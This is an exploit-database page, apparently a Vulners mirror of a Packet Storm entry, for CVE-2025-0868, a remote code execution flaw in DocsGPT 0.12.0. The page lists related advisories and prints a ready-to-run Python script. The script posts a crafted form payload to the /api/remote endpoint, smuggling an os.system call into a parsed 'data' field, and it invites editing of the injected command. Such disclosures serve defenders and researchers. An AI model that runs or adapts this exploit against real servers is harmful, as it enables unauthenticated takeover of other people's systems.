Lucene search
K

📄 DocsGPT 0.12.0 Remote Code Execution

🗓️ 09 Apr 2025 00:00:00Reported by Shreyas MalhotraType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 245 Views

Exploit for DocsGPT 0.12.0 allows remote code execution via crafted request payload.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-0868
20 Feb 202514:49
circl
CNNVD
DocsGPT 安全漏洞
20 Feb 202500:00
cnnvd
CVE
CVE-2025-0868
20 Feb 202511:26
cve
Cvelist
CVE-2025-0868 Remote Code Execution in DocsGPT
20 Feb 202511:26
cvelist
Exploit DB
DocsGPT 0.12.0 - Remote Code Execution
9 Apr 202500:00
exploitdb
GithubExploit
Exploit for CVE-2025-0868
25 May 202513:14
githubexploit
Github Security Blog
DocsGPT Allows Remote Code Execution
20 Feb 202512:31
github
Nuclei
DocsGPT - Unauthenticated Remote Code Execution
22 Jun 202605:20
nuclei
NVD
CVE-2025-0868
20 Feb 202512:15
nvd
OSV
CVE-2025-0868
20 Feb 202512:15
osv
Rows per page
# Exploit Title: DocsGPT 0.12.0 - Remote Code Execution
    # Date: 09/04/2025
    # Exploit Author: Shreyas Malhotra (OSMSEC)
    # Vendor Homepage: https://github.com/arc53/docsgpt
    # Software Link: https://github.com/arc53/DocsGPT/archive/refs/tags/0.12.0.zip
    # Version: 0.8.1 through 0.12.0
    # Tested on: Debian Linux/Ubuntu Linux/Kali Linux
    # CVE: CVE-2025-0868
    
    import requests
     
    # TARGET CONFIG
    TARGET = "http://10.0.2.15:7091"  # Change this
     
    # Malicious payload string - carefully escaped - modify the python code if necessary
    malicious_data = (
        'user=1&source=reddit&name=other&data={"source":"reddit",'
        '"client_id":"1111","client_secret":1111,"user_agent":"111",'
        '"search_queries":[""],"number_posts":10,'
        '"rce\\\\":__import__(\'os\').system(\'touch /tmp/test\')}#":11}'
    )
     
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
     
    try:
        response = requests.post(f"{TARGET}/api/remote", headers=headers, data=malicious_data)
        print(f"[+] Status Code: {response.status_code}")
        print("[+] Response Body:")
        print(response.text)
    except Exception as e:
        print(f"[-] Error sending request: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation